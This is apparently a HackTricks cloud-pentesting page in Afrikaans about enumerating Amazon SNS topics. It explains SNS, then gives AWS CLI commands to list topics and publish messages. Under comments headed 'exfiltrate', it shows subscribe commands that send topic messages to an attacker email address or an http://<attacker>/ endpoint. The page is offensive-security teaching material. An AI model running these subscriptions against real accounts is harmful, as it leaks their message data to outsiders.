# AWS - SNS Enum

{{#include ../../../banners/hacktricks-training.md}}

## SNS

Amazon Simple Notification Service (Amazon SNS) word beskryf as 'n **volledig bestuurde boodskapdiens**. Dit ondersteun beide **toepassing-naar-toepassing** (A2A) en **toepassing-naar-persoon** (A2P) kommunikasietipes.

Belangrike kenmerke vir A2A kommunikasie sluit **publiseer/teken (pub/sub) meganismes** in. Hierdie meganismes stel **onderwerpe** in, wat noodsaaklik is om hoë-deurset, **druk-gebaseerde, baie-naar-baie boodskappe** moontlik te maak. Hierdie kenmerk is baie voordelig in scenario's wat verspreide stelsels, mikrodiens, en gebeurtenis-gedrewe serverless argitektuur insluit. Deur hierdie onderwerpe te benut, kan publiseer stelsels boodskappe doeltreffend versprei na 'n **wye reeks van tekenaarstelsels**, wat 'n fanout boodskappatroon fasiliteer.

### **Verskil met SQS**

**SQS** is 'n **ry-gebaseerde** diens wat punt-tot-punt kommunikasie toelaat, wat verseker dat boodskappe verwerk word deur 'n **enkele verbruiker**. Dit bied **ten minste-eens aflewering**, ondersteun standaard en FIFO rye, en laat boodskapbehoud toe vir herhalings en vertraagde verwerking.\
Aan die ander kant is **SNS** 'n **publiseer/teken-gebaseerde diens**, wat **een-naar-baie** kommunikasie moontlik maak deur boodskappe gelyktydig na **meerdere tekenaars** te versprei. Dit ondersteun **verskeie tekenaars eindpunte soos e-pos, SMS, Lambda funksies, en HTTP/HTTPS**, en bied filtrasie meganismes vir geteikende boodskapaflewering.\
Terwyl beide dienste ontkoppeling tussen komponente in verspreide stelsels moontlik maak, fokus SQS op gequeue kommunikasie, en beklemtoon SNS gebeurtenis-gedrewe, fan-out kommunikasiepatrone.

### **Enumerasie**
```bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
> [!CAUTION]
> Let daarop dat as die **onderwerp van tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word (HTTP of HTTPS kan nie gebruik word nie).
>
> Ook, selfs al bevat die `--topic-arn` die streek, maak seker dat jy die korrekte streek in **`--region`** spesifiseer of jy sal 'n fout kry wat lyk asof dit aandui dat jy nie toegang het nie, maar die probleem is die streek.

#### Unauthenticated Access

{{#ref}}
../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
{{#endref}}

#### Privilege Escalation

{{#ref}}
../aws-privilege-escalation/aws-sns-privesc/README.md
{{#endref}}

#### Post Exploitation

{{#ref}}
../aws-post-exploitation/aws-sns-post-exploitation/README.md
{{#endref}}

#### Persistence

{{#ref}}
../aws-persistence/aws-sns-persistence/README.md
{{#endref}}

## References

- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)

{{#include ../../../banners/hacktricks-training.md}}
